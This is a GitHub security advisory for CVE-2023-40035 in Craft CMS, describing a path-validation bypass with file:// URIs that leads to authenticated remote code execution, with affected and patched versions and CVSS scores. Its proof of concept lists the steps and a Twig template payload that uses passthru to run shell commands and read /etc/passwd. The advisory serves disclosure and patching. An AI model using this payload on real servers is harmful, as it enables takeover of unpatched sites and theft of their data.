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Craft CMS vulnerable to Remote Code Execution via validatePath bypass

High severity GitHub Reviewed Published Aug 19, 2023 in craftcms/cms • Updated Nov 8, 2023

Package

composer craftcms/cms (Composer)

Affected versions

>= 4.0.0-RC1, <= 4.4.14
>= 3.0.0, <= 3.8.14

Patched versions

4.4.15
3.8.15

Description

Summary

Bypassing the validatePath function can lead to potential Remote Code Execution
(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

In bootstrap.php, the SystemPaths path is set as below.

// Set the vendor path. By default assume that it's 4 levels up from here
$vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3);

// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.
$rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath);

// By default the remaining directories will be in the base directory
$dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env";
$configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config";
$contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations";
$storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage";
$templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates";
$translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations";
$testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests";

Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()

    /**
     * @param string $attribute
     * @param array|null $params
     * @param InlineValidator $validator
     * @return void
     * @since 4.4.6
     */
    public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
    {
        // Make sure it’s not within any of the system directories
        $path = FileHelper::absolutePath($this->getRootPath(), '/');

        $systemDirs = Craft::$app->getPath()->getSystemPaths();

        foreach ($systemDirs as $dir) {
            $dir = FileHelper::absolutePath($dir, '/');
            if (str_starts_with("$path/", "$dir/")) {
                $validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.'));
                break;
            }
        }
    }

ref. https://www.php.net/manual/en/wrappers.file.php

PoC

  1. Create a new filesystem. Base Path: file:///var/www/html/templates

1

  1. Create a new asset volume. Asset Filesystem: local_bypass

2

  1. Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates
{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}

3
4

  1. Create a new route. URI: * , Template: poc.ttml

5

  1. Confirm RCE on arbitrary path ( /* )

6

PoC Env

0628 env

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)

References

@angrybrad angrybrad published to craftcms/cms Aug 19, 2023
Published to the GitHub Advisory Database Aug 21, 2023
Reviewed Aug 21, 2023
Published by the National Vulnerability Database Aug 23, 2023
Last updated Nov 8, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.291%
(69th percentile)

Weaknesses

CVE ID

CVE-2023-40035

GHSA ID

GHSA-44wr-rmwq-3phw

Source code

Credits

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